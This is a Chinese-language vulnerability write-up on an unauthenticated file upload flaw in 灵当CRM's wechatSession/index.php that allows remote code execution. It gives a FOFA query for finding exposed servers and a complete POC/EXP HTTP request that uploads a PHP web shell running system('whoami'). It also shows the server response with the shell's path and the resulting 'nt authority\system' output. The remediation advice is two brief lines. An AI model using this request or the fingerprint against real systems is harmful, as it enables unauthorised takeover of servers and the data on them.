

灵当CRM wechatSessionindex.php 文件上传致RCE漏洞

漏洞描述

灵当CRM wechatSession/index.php 接口存在任意文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

影响版本

灵当CRM

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="include/js/ldAjax.js"

POC/EXP:

POST /crm/wechatSession/index.php?
token=9b06a9617174f1085ddcfb4ccdb6837f&msgid=1&operation=upload HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary03rNBzFMlytpWhy

-----WebKitFormBoundary03rNBzFMlytpWhy
Content-Disposition: form-data; name="file"; filename="jp.php"
Content-Type: image/jpeg

-----WebKitFormBoundary03rNBzFMlytvpWhy--

Request

< > 数据包扫描 热加载 构造请求

1

POST /crm/wechatSession/index.php?token=9b06a9617174f1085ddcfb4cddb6837f&msgid=1&operation=upload HTTP/1.1

2

Host:

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36

4

Accept-Encoding: gzip, deflate

5

Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7

6

Connection: keep-alive

7

Content-Type: multipart/form-data; boundary=-----WebKitFormBoundary03rNBzFMlytvpWhy

8

-----WebKitFormBoundary03rNBzFMlytvpWhy

9

Content-Disposition: form-data; name="file"; filename="jp.php"

10

Content-Type: image/jpeg

11

12

<?php·system("whoami");unlink(__FILE__);>

13

-----WebKitFormBoundary03rNBzFMlytvpWhy--

14

Responses

https 151bytes / 112ms 美化 渲染

1

HTTP/1.1 200 OK

2

Server: nginx

3

Date: Mon, 14 Oct 2024 13:58:29 GMT

4

Content-Type: text/html; charset=utf-8

5

Connection: keep-alive

6

Access-Control-Allow-Origin: *

7

Access-Control-Allow-Methods: GET, POST, OPTIONS

8

Access-Control-Allow-Headers: Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With

9

Upgrade: h2,h2c

10

Vary: Accept-Encoding

11

X-Frame-Options: SAMEORIGIN

12

X-XSS-Protection: 1; mode=block

13

X-Content-Type-Options: nosniff

14

Referrer-Policy: same-origin

15

X-Permitted-Cross-Domain-Policies: master-only

16

X-Download-Options: noopen

17

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

18

Content-Length: 151

19

20

{ "code":1,"msg":"","result":{"upload_status":true,"filepath":"D:\ldcrm\www\crm\storage\wechatSession\2024\10\14\jp.php","filename":"jp.php"} }

< > ↺

/crm/storage/wechatSession/2024/10/14/jp.php

nt authority\system

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本